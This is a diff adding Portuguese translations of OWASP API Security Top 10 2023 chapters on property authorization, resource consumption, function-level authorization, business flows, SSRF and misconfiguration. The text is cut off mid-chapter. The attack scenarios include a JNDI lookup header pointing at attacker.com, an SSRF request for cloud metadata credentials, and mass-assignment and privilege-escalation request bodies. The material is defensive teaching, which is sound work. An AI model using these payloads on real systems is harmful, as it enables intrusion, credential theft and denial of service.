_endpoint_ de uma API é vulnerável se: + +* O _endpoint_ da API expõe propriedades de um objeto que são consideradas + sensíveis e não devem ser lidas pelo utilizador. (anteriormente denominado: + "[Excessive Data Exposure][1]") +* O _endpoint_ da API permite que um utilizador altere, adicione ou elimine o + valor de uma propriedade sensível de um objeto ao qual o utilizador não deve + ter acesso. (anteriormente denominado: "[Mass Assignment][2]") + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma aplicação de encontros permite a um utilizador denunciar outros utilizadores +por comportamento inadequado. Como parte deste processo, o utilizador clica num +botão de 'denúncia', e é desencadeada a seguinte chamada de API: + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +O endpoint da API é vulnerável porque permite que o utilizador autenticado tenha +acesso a propriedades sensíveis do utilizador denunciado, como "fullName" (nome +completo) e "recentLocation" (localização recente), que não deveriam estar +acessíveis a outros utilizadores. + +### Cenário #2 + +Uma plataforma de mercado online, que permite a um tipo de utilizadores +('anfitriões') alugar o seu apartamento a outro tipo de utilizadores +('hóspedes'), requer que o anfitrião aceite uma reserva feita por um hóspede +antes de cobrar ao hóspede pela estadia. + +Como parte deste processo, é feito um pedido de API pelo anfitrião para +`POST /api/host/approve_booking` com o seguinte conteúdo legítimo: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm" +} +``` + +O anfitrião reenvia o pedido legítimo e adiciona o seguinte conteúdo malicioso: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm", + "total_stay_price": "$1,000,000" +} +``` + +O _endpoint_ da API é vulnerável porque não há validação de que o anfitrião +deve ter acesso à propriedade interna do objeto - `total_stay_price`, e o +hóspede vai ser cobrado mais do que deveria. + +### Cenário #3 + +Uma rede social baseada em vídeos curtos, impõe filtros restritivos de conteúdo +e censura. Mesmo que um vídeo carregado seja bloqueado, o utilizador pode +alterar a descrição do vídeo utilizando o seguinte pedido à API: + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +Um utilizador frustrado pode reenviar o pedido legítimo e adicionar o seguinte +conteúdo malicioso: + +``` +{ + "description": "a funny video about cats", + "blocked": false +} +``` + +O _endpoint_ da API é vulnerável porque não há validação se o utilizador deve +ter acesso à propriedade interna do objeto - `blocked`, e o utilizador pode +alterar o valor de `true` para `false` e desbloquear o seu próprio conteúdo +bloqueado. + +## Como Prevenir + +* Ao expor um objeto através de um _endpoint_ da API, certifique-se sempre de + que o utilizador deve ter acesso às propriedades do objeto que expõe. +* Evite usar métodos genéricos como `to_json()` e `to_string()`. Em vez disso, + selecione especificamente as propriedades do objeto que deseja retornar. +* Se possível, evite usar funções que automaticamente vinculem os dados + provenientes do cliente em variáveis de código, objetos internos ou + propriedades de objetos ("Mass Assignment"). +* Permita alterações apenas nas propriedades do objeto que devam ser + atualizadas pelo cliente. +* Implemente um mecanismo de validação de resposta baseado num esquema como uma + camada extra de segurança. Como parte deste mecanismo, defina e imponha que + dados são retornados por todos os métodos da API. +* Mantenha as estruturas de dados retornadas ao mínimo essencial, de acordo com + os requisitos comerciais/funcionais para o _endpoint_. + +## Referências + +### OWASP + +* [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +* [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +* [Mass Assignment Cheat Sheet][3] + +### Externas + +* [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption.md b/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..1d9f4e933 --- /dev/null +++ b/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,177 @@ +# API4:2023 Unrestricted Resource Consumption + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Moderado** | Prevalência **Predominante** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio | +| A exploração requer pedidos simples de API. Múltiplos pedidos concorrentes podem ser feitos a partir de um único computador local ou utilizando recursos de computação em nuvem. A maioria das ferramentas automatizadas disponíveis são projetadas para causar DoS (Negação de Serviço) através de altas cargas de tráfego, afetando a taxa de serviço das APIs. | É comum encontrar APIs que não limitam as interações do cliente ou o consumo de recursos. Pedidos de API elaborados, como aqueles que incluem parâmetros que controlam o número de recursos a serem retornados e realizam análises de estado/tempo/comprimento de resposta, devem permitir a identificação do problema. O mesmo vale para operações em quantidade. Embora os agentes maliciosos não tenham visibilidade sobre o impacto nos custos, isso pode ser inferido com base no modelo de negócios/preços dos fornecedores de serviços (e.g. fornecedor de nuvem). | A exploração pode levar a uma Negação de Serviço (DoS) devido à escassez de recursos, mas também pode resultar num aumento dos custos operacionais, como os relacionados à infraestrutura devido à maior exigência de CPU, aumento das necessidades de armazenamento em nuvem, etc. | + +## A API é vulnerável? + +Para atender aos pedidos feitos à API, são necessários recursos como largura de +banda de rede, CPU, memória e armazenamento. Às vezes, os recursos necessários +são disponibilizados por provedores de serviços por meio de integrações de API +e são pagos por pedido, como o envio de emails/SMS/chamadas telefónicas, +validação biométrica, etc. + +Uma API é vulnerável se pelo menos um dos seguintes limites estiver ausente ou +definido inadequadamente (e.g. muito baixo/alto): + +* Tempos limite de execução +* Memória máxima alocável +* Número máximo de descritores de ficheiro +* Número máximo de processos +* Tamanho máximo de upload de ficheiro +* Número de operações a serem realizadas num único pedido do cliente da API + (e.g. agrupamento GraphQL) +* Número de registros por página a serem retornados num único pedido-resposta +* Limite de gastos de provedores de serviços terceiros + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma rede social implementou um mecanismo de "recuperar senha" através da +verificação por SMS, permitindo que o utilizador receba um _token_ de uso único +via SMS para redefinir a sua senha. + +Uma vez que o utilizador clica em "recuperar senha", é feita uma chamada API a +partir do navegador do utilizador para a API de _back-end_: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Em seguida, nos bastidores, é feita uma chamada API do _back-end_ para uma API +de terceiros que se encarrega da entrega do SMS: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +O fornecedor de terceiros, Willyo, cobra $0.05 por este tipo de chamada. + +Um atacante escreve código que envia a primeira chamada API dezenas de milhares +de vezes. O _back-end_ prossegue e solicita à Willyo que envie dezenas de +milhares de mensagens de texto, levando a empresa a perder milhares de dólares +em questão de minutos. + +### Cenário #2 + +Um _endpoint_ de API GraphQL permite que o utilizador carregue uma foto de +perfil. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` + +Uma vez concluído o carregamento, a API gera múltiplas miniaturas com diferentes +tamanhos com base na imagem carregada. Esta operação gráfica consome muita +memória do servidor. + +A API implementa uma proteção tradicional de limitação de quantidade de pedidos +- um utilizador não pode aceder ao _endpoint_ GraphQL demasiadas vezes num curto +período de tempo. A API também verifica o tamanho da imagem carregada antes de +gerar as miniaturas para evitar o processamento de imagens demasiado grandes. + +Um atacante pode facilmente contornar esses mecanismos, aproveitando a natureza +flexível do GraphQL: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` + +Como a API não limita o número de vezes que a operação `uploadPic` pode ser +tentada, a chamada levará ao esgotamento da memória do servidor e à negação de +serviço (_Denial of Service_). + +### Cenário #3 + +Um prestador de serviços permite que os clientes descarreguem ficheiros +arbitrariamente grandes através da sua API. Estes ficheiros são mantidos em +armazenamento de objetos na nuvem e não mudam com frequência. O prestador de +serviços depende de um serviço de _cache_ para melhorar a velocidade do serviço +e manter o consumo de largura de banda baixo. O serviço de _cache_ apenas +armazena ficheiros até 15GB. + +Quando um dos ficheiros é atualizado, o seu tamanho aumenta para 18GB. Todos os +clientes do serviço começam imediatamente a descarregar a nova versão. Como não +havia alertas de custo de consumo, nem um limite máximo de custo para o serviço +de nuvem, a fatura mensal seguinte aumenta de 13 dólares, em média, para 8 mil +dólares. + +## Como Prevenir + +* Utilize uma solução que facilite a limitação de [memória][1], [CPU][2], + [número de reinícios][3], [descritores de ficheiros e processos][4], como + Containers / Código Serverless (e.g. Lambdas). +* Defina e force um tamanho máximo de dados em todos os parâmetros e conteúdos + de entrada, como comprimento máximo para _strings_, número máximo de + elementos em arrays e tamanho máximo de ficheiro para _upload_ + (independentemente de ser armazenado localmente ou na nuvem). +* Implemente um limite de frequência com que um cliente pode interagir com a API + dentro de um período temporal definido (_rate limiting_). +* A limitação de pedidos deve ser ajustada com base nas necessidades do negócio. + Alguns endpoints da API podem exigir políticas mais rigorosas. +* Limite/controle quantas vezes ou com que frequência um único + cliente/utilizador da API pode executar uma única operação (e.g. validar um + OTP ou solicitar a recuperação de senha sem visitar o URL de uso único). +* Adicione validação adequada no lado do servidor para parâmetros da + _query string_ e do corpo do pedido, especificamente aqueles que controlam o + número de resultados a serem retornados na resposta. +* Configure limites de gastos para todos os fornecedores de serviços/integrações + de API. Quando não for possível definir limites de gastos, devem ser + configurados alertas de faturamento. + +## Referências + +### OWASP + +* ["Availability" - Web Service Security Cheat Sheet][5] +* ["DoS Prevention" - GraphQL Cheat Sheet][6] +* ["Mitigating Batching Attacks" - GraphQL Cheat Sheet][7] + +### Externas + +* [CWE-770: Allocation of Resources Without Limits or Throttling][8] +* [CWE-400: Uncontrolled Resource Consumption][9] +* [CWE-799: Improper Control of Interaction Frequency][10] +* "Rate Limiting (Throttling)" - [Security Strategies for Microservices-based + Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/pt-pt/0xa5-broken-function-level-authorization.md b/editions/2023/pt-pt/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..91039d83f --- /dev/null +++ b/editions/2023/pt-pt/0xa5-broken-function-level-authorization.md @@ -0,0 +1,103 @@ +# API5:2023 Broken Function Level Authorization + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio | +| Para abusar deste tipo de falha o atacante tem de realizar pedidos legítimos ao _endpoint_ da API ao qual não é suposto ter acesso como utilizadores anónimos, ordinários ou não privilegiados. _Endpoints_ expostos serão facilmente explorados. | As verificações de autorização para aceder a uma determinada função ou recurso são normalmente geridas por configuração ou ao nível da implementação. A correta implementação destes mecanismos pode tornar-se confusa, uma vez que, as aplicações modernas prevêem vários perfis ou grupos de utilizador, assim como complexos esquemas de hierarquias (e.g. sub-utilizadores, utilizadores com mais do que um perfil). É mais fácil descobrir estas falhas em APIs dado que APIs são mais estruturadas, e aceder a diferentes funções é mais previsível. | Estas falhas permitem aos atacantes aceder de forma não autorizada a certas funcionalidades. As funcionalidades administrativas são o alvo preferencial neste tipo de ataqueo que pode levar a divulgação de dados, perda de dados, ou corrupção de dados. Por último, pode dar aso a uma disrupção de serviço. | + +## A API é vulnerável? + +A melhor forma de identificar falhas de verificação de autorização de acesso a +funções é através duma análise detalhada do mecanismo de autorização, devendo +ter-se em consideração o esquema de hierarquia de utilizadores, diferentes +perfis ou grupos e questionando continuamente: + +* Utilizadores ordinários podem aceder aos _endpoints_ de administração? +* Os utilizadores podem realizar ações sensíveis (e.g. criar, modificar ou + apagar) para as quais não deveriam ter acesso, alterando simplesmente o método + HTTP (e.g. alterando de `GET` para `DELETE`)? +* Um utilizador do grupo X pode aceder a uma função reservada ao grupo Y, + adivinhando o URL do _endpoint_ e os parâmetros (e.g. + `/api/v1/users/export_all`)? + +Nunca assuma o tipo dum _endpoint_, normal ou administrativo, apenas com base no +URL. + +Apesar dos programadores poderem ter decidido expor a maioria dos _endpoints_ +administrativos sob um mesmo prefixo, e.g. `api/admins`, é comum encontrarem-se +_endpoints_ administrativos sob outros prefixos, misturados com _endpoints_ +ordinários e.g. `api/users`. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Durante o processo de registo para uma aplicação que permite apenas a adesão +de utilizadores convidados, a aplicação móvel faz uma chamada de API para +`GET /api/invites/{invite_guid}`. A resposta contém um JSON com detalhes sobre +o convite, incluindo o perfil do utilizador e o email do utilizador. + +Um atacante duplica o pedido e manipula o método HTTP e o _endpoint_ para +`POST /api/invites/new`. Este _endpoint_ deveria ser usado apenas por +administradores através da consola de administração. O _endpoint_ não implementa +verificações de autorização de acesso à função. + +O atacante explora a falha e envia um novo convite com privilégios de +administrador: + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +Mais tarde, o atacante usa o convite criado maliciosamente para criar uma conta +de administrador e obter acesso total ao sistema. + +### Cenário #2 + +Uma API contém um _endpoint_ que deveria ser exposto apenas a administradores - +`GET /api/admin/v1/users/all`. Este _endpoint_ retorna os detalhes de todos os +utilizadores da aplicação e não implementa verificações de autorização de acesso +à função. Um atacante que aprendeu sobre a estrutura da API faz uma suposição +informada e consegue aceder a este _endpoint_, expondo detalhes sensíveis dos +utilizadores da aplicação. + +## Como Prevenir + +A sua API deve usar um módulo de autorização consistente e fácil de analisar, o +qual deve ser invocado por todas as funções de negócio. Frequentemente, este +tipo de proteção é oferecido por um ou mais componentes externos à lógica +aplicacional. + +* Por omissão todos os acesso devem ser negados, exigindo que permissões + específicas sejam concedidas a perfis específicos para acesso a cada função. +* Rever todos os _endpoints_ à procura de falhas ao nível da verificação de + autorização de acesso a funções, tendo sempre em consideração a lógica de + negócio da aplicação e hierarquia dos grupos. +* Assegurar que todos os controladores administrativos herdam de um controlador + administrativo base que implementa as verificações de autorização com base no + grupo/perfil do utilizador. +* Assegurar que funções administrativas num controlador ordinário implementam + elas próprias as verificações de autorização baseadas no grupo e perfil do + utilizador. + +## Referências + +### OWASP + +* [Forced Browsing][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [Access Control][3] + +### Externas + +* [CWE-285: Improper Authorization][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..e20a5553c --- /dev/null +++ b/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,113 @@ +# API6:2023 Unrestricted Access to Sensitive Business Flows + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Moderado** | Técnico **Moderado** : Específico Negócio | +| A exploração geralmente envolve entender o modelo de negócio suportado pela API, encontrar fluxos de negócio sensíveis e automatizar o acesso a esses fluxos, causando danos ao negócio. | A falta de uma visão holística da API para suportar plenamente os requisitos de negócio tende a contribuir para a prevalência deste problema. Os atacantes identificam manualmente quais recursos (e.g. _endpoints_) estão envolvidos no fluxo de trabalho alvo e como funcionam em conjunto. Se já existirem mecanismos de mitigação, os atacantes precisam encontrar uma maneira de os contornar. | Em geral, não se espera um impacto técnico significativo. A exploração pode prejudicar o negócio de diferentes maneiras, por exemplo: impedir que utilizadores legítimos comprem um produto ou levar a uma inflação na economia interna de um jogo. | + +## A API é vulnerável? + +Ao criar um _endpoint_ de API, é importante entender qual fluxo de negócio ele +expõe. Alguns fluxos de negócio são mais sensíveis do que outros, no sentido de +que o acesso excessivo a eles pode prejudicar o negócio. + +Exemplos comuns de fluxos de negócios sensíveis e o risco de acesso excessivo +associado a eles: + +* Fluxo de compra de um produto - um atacante pode comprar todo o stock de um + item de alta procura de uma só vez e revendê-lo por um preço mais alto + (scalping). +* Fluxo de criação de comentário/publicação - um atacante pode inundar o sistema + com spam. +* Realização de uma reserva - um atacante pode reservar todos os horários +* disponíveis e impedir que outros utilizadores utilizem o sistema. + +O risco de acesso excessivo pode variar entre indústrias e empresas. Por +exemplo, a criação de publicações através de um script pode ser considerada um +risco de spam por uma rede social, mas incentivada por outra rede social. + +Um endpoint de API está vulnerável se expõe um fluxo de negócio sensível sem +restringir adequadamente o acesso a ele. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma empresa de tecnologia anuncia que vai lançar uma nova consola de jogos no +Dia de Ação de Graças. O produto tem uma procura muito alta e o stock é +limitado. Um atacante escreve código para comprar automaticamente o novo produto +e concluir a transação. + +No dia do lançamento, o atacante executa o código distribuído por diferentes +endereços IP e localizações. A API não implementa a proteção adequada e permite +que o atacante compre a maior parte do stock antes de outros utilizadores +legítimos. + +Mais tarde, o atacante vende o produto noutra plataforma por um preço muito mais +alto. + +### Cenário #2 + +Uma companhia aérea oferece a compra de bilhetes online sem taxa de +cancelamento. Um utilizador com intenções maliciosas reserva 90% dos assentos de +um voo desejado. + +Alguns dias antes do voo, o utilizador malicioso cancelou todos os bilhetes de +uma vez, o que obrigou a companhia aérea a baixar os preços dos bilhetes para +preencher o voo. + +Deste modo, o utilizador consegue comprar um bilhete que está muito mais barato +do que o original. + +### Cenário #3 + +Uma aplicação de partilha de boleias oferece um programa de referência - os +utilizadores podem convidar os seus amigos e ganhar crédito por cada amigo que +se juntar à aplicação. Este crédito pode ser posteriormente utilizado como +dinheiro para reservar viagens. + +Um atacante explora este fluxo escrevendo um script para automatizar o processo +de registo, com cada novo utilizador a adicionar crédito à carteira do atacante. + +O atacante pode posteriormente usufruir de viagens gratuitas ou vender as contas +com créditos excessivos por dinheiro. + +## Como Prevenir + +O planeamento da mitigação deve ser feito em duas camadas: + +* Negócio - identificar os fluxos de negócio que podem prejudicar a empresa se + forem utilizados em excesso. +* Engenharia - escolher os mecanismos de proteção adequados para mitigar o risco + empresarial. + + Alguns dos mecanismos de proteção são mais simples, enquanto outros são mais + difíceis de implementar. Os seguintes métodos são utilizados para desacelerar + ameaças automatizadas: + + * _Fingerprinting_ de dispositivos: negar serviço a dispositivos de cliente + inesperados (e.g. navegadores _headless_) tende a fazer com que os atacantes + usem soluções mais sofisticadas, tornando-as mais caras para eles. + * Deteção humana: utilize _captcha_ ou soluções biométricas mais avançadas + (e.g. padrões de digitação). + * Padrões não humanos: analisar o fluxo do utilizador para detetar padrões + não humanos (e.g. o utilizador acedeu às funções "adicionar ao carrinho" e + "finalizar compra" em menos de um segundo). + * Considere bloquear endereços IP de nós de saída da rede Tor e proxies bem + conhecidos. + + Proteja e limite o acesso às APIs que são consumidas diretamente por máquinas + (como APIs para desenvolvedores e B2B). Elas tendem a ser um alvo fácil para + atacantes, pois muitas vezes não implementam todos os mecanismos de proteção + necessários. + +## Referências + +### OWASP + +* [OWASP Automated Threats to Web Applications][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ + diff --git a/editions/2023/pt-pt/0xa7-server-side-request-forgery.md b/editions/2023/pt-pt/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..ea8d7ffac --- /dev/null +++ b/editions/2023/pt-pt/0xa7-server-side-request-forgery.md @@ -0,0 +1,164 @@ +# API7:2023 Server Side Request Forgery + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Detectability **Fácil** | Técnico **Moderado** : Específico do Negócio | +| A exploração requer que o atacante encontre um _endpoint_ da API que aceda a um URI fornecido pelo cliente. Em geral, SSRF básico (quando a resposta é retornada ao atacante) é mais fácil de explorar do que _Blind_ SSRF, em que o atacante não tem feedback sobre se o ataque foi bem sucedido ou não. | Os conceitos modernos no desenvolvimento de aplicações incentivam os desenvolvedores a aceder a URIs fornecidos pelo cliente. A falta de validação ou a validação inadequada desses URIs são problemas comuns. Será necessária a análise regular de solicitações e respostas da API para detetar o problema. Quando a resposta não é retornada (_Blind_ SSRF), a deteção da vulnerabilidade exige mais esforço e criatividade. | A exploração bem sucedida pode levar à enumeração de serviços internos (e.g. scan de portas), divulgação de informações, bypass de firewalls ou outros mecanismos de segurança. Em alguns casos, pode levar a DoS ou ao uso do servidor como um proxy para ocultar atividades maliciosas. | + +## A API é vulnerável? + +Falhas de Server-Side Request Forgery (SSRF) ocorrem quando uma API pede um +recurso remoto sem validar o URL fornecido pelo utilizador. Isso permite que um +atacante force a aplicação a enviar um pedido manipulado para um destino +inesperado, mesmo quando protegido por uma firewall ou uma VPN. + +Os conceitos modernos no desenvolvimento de aplicações tornam o SSRF mais comum +e mais perigoso. + +Mais comum - os seguintes conceitos incentivam os desenvolvedores a aceder a +recursos externos com base em entradas de utilizadores: Webhooks, download de +ficheiros a partir de URLs, SSO personalizado e pré-visualização de URLs. + +Mais perigoso - Tecnologias modernas como provedores de nuvem, Kubernetes e +Docker expõem canais de gestão e controle via HTTP em caminhos previsíveis e +bem conhecidos. Esses canais são um alvo fácil para um ataque SSRF. + +Também é mais desafiador limitar o tráfego de saída da sua aplicação, devido à +natureza conectada das aplicações modernas. + +O risco de SSRF nem sempre pode ser completamente eliminado. Ao escolher um +mecanismo de proteção, é importante considerar os riscos e necessidades do +negócio. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma rede social permite que os utilizadores façam o upload de fotos de perfil. +O utilizador pode escolher entre carregar o ficheiro de imagem do seu +dispositivo ou fornecer o URL da imagem. Escolher a segunda opção irá acionar a +seguinte chamada API: + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Um atacante pode enviar um URL malicioso e iniciar um _scan_ de portas +dentro da rede interna usando o _endpoint_ da API. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +Com base no tempo de resposta, o atacante pode descobrir se a porta está +aberta ou não. + +### Cenário #2 + +Um produto de segurança gera eventos quando detecta anomalias na rede. +Algumas equipas preferem rever os eventos num sistema de monitorização mais +amplo e genérico, como um SIEM (Gestão de Informações e Eventos de Segurança). +Para este fim, o produto fornece integração com outros sistemas usando +_webhooks_. + +Como parte da criação de um novo _webhook_, uma mutação GraphQL é enviada com o +URL da API do SIEM. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +Durante o processo de criação, o _back-end_ da API envia um pedido de teste para o +URL do webhook fornecido e apresenta a resposta ao utilizador. + +Um atacante pode explorar este fluxo e fazer com que a API solicite um recurso +sensível, como um serviço de metadados de nuvem interna que expõe credenciais: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Uma vez que a aplicação mostra a resposta do pedido de teste, o atacante pode +visualizar as credenciais do ambiente de nuvem. + +## Como Prevenir + +* Isole o mecanismo de obtenção de recursos na sua rede: geralmente, essas + funcionalidades são destinadas a recuperar recursos remotos e não internos. +* Sempre que possível, utilize listas de permissões de: + * Origens remotas das quais se espera que os utilizadores façam download de + recursos (por exemplo, Google Drive, Gravatar, etc.) + * Esquemas de URL e portas + * Tipos de media aceites para uma determinada funcionalidade +* Desative redirecionamentos HTTP. +* Utilize um URL _parser_ bem testado e mantido para evitar problemas causados +por inconsistências no processamento de URLs. +* Valide e sanitize todos os dados de entrada fornecidos pelo cliente. +* Não envie respostas não tratadas aos clientes. + +## Referências + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### Externas + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/pt-pt/0xa8-security-misconfiguration.md b/editions/2023/pt-pt/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..c1a7a3bee --- /dev/null +++ b/editions/2023/pt-pt/0xa8-security-misconfiguration.md @@ -0,0 +1,139 @@ +# API8:2023 Security Misconfiguration + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Detectability **Fácil** | Técnico **Severo** : Específico do Negócio | +| Os atacantes frequentemente tentam encontrar falhas não corrigidas, _endpoints_ comuns, serviços a funcionar com configurações padrão inseguras ou arquivos e diretórios não protegidos para obter acesso não autorizado ou conhecimento do sistema. A maior parte disto é conhecimento público e os _exploits_ podem estar disponíveis. | A má configuração de segurança pode ocorrer em qualquer nível da API, desde o nível da rede até o nível da aplicação. Ferramentas automatizadas estão disponíveis para detectar e explorar más configurações, como serviços desnecessários ou opções antigas. | As más configurações de segurança não expõem apenas dados sensíveis dos utilizadores, mas também detalhes do sistema que podem levar a um compromisso total do servidor. | + +## A API é vulnerável? + +A API pode ser vulnerável se: + +* As devidas proteções de segurança não foram aplicadas em qualquer parte da + API, ou se houver permissões mal configuradas em serviços de nuvem. +* Os últimos _patches_ de segurança estão em falta ou os sistemas estão + desatualizados. +* Funcionalidades desnecessárias estão ativadas (por exemplo, verbos HTTP, + funcionalidades de registo de eventos). +* Existem discrepâncias na forma como os pedidos são processados pelos + servidores na cadeia de servidores HTTP. +* A Segurança da Camada de Transporte (TLS) está em falta. +* Diretivas de segurança ou de controlo de cache não são enviadas aos clientes. +* Uma política de Partilha de Recursos entre Origens (CORS) está em falta ou mal + configurada. +* As mensagens de erro incluem _stack traces_ ou expõem outras informações + sensíveis. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Um servidor de API _back-end_ mantém um registo de acesso escrito por uma +utilidade de registo _open-source_ popular de terceiros, com suporte para +expansão de espaços reservados e pesquisas JNDI (Java Naming and Directory +Interface), ambos ativados por defeito. Para cada pedido, uma nova entrada é +escrita no ficheiro de registo com o seguinte padrão: +` / - `. + +Um ator malicioso emite o seguinte pedido de API, que é escrito no ficheiro de +registo de acesso: + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +Devido à configuração padrão insegura da utilidade de registo e a uma política +de rede de saída permissiva, para escrever a entrada correspondente no registo +de acesso, ao expandir o valor no cabeçalho `X-Api-Version` do pedido, a +utilidade de registo irá buscar e executar o objeto `Malicious.class` do +servidor controlado remotamente pelo atacante. + +### Cenário #2 + +Um site de rede social oferece uma funcionalidade de "Mensagem Direta" que +permite aos utilizadores manter conversas privadas. Para recuperar novas +mensagens de uma conversa específica, o site emite o seguinte pedido de API (a +interação do utilizador não é necessária): + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Como a resposta da API não inclui o cabeçalho de resposta HTTP `Cache-Control`, +as conversas privadas acabam por ser armazenadas em cache pelo navegador, +permitindo que agentes mal-intencionados as recuperem dos ficheiros de cache do +navegador no sistema de ficheiros. + +## Como Prevenir + +O ciclo de vida da API deve incluir: + +* Um processo de proteção reprodutível que possa ser implantado de forma fácil + e rápida com vista a um ambiente de execução devidamente protegido. +* Um processo de revisão e atualização de todas as camadas da API. A revisão + deve incluir: ficheiros de orquestração, componentes da API e serviços na + nuvem (e.g., permissões dos _buckets_ S3). +* Um processo automatizado para verificar de forma continua as configurações e + definições em todos os ambientes (produção, _staging_, testes, + desenvolvimento). + +E ainda: + +* Assegure que todas as comunicações de API, do cliente para o servidor de API e + qualquer componente 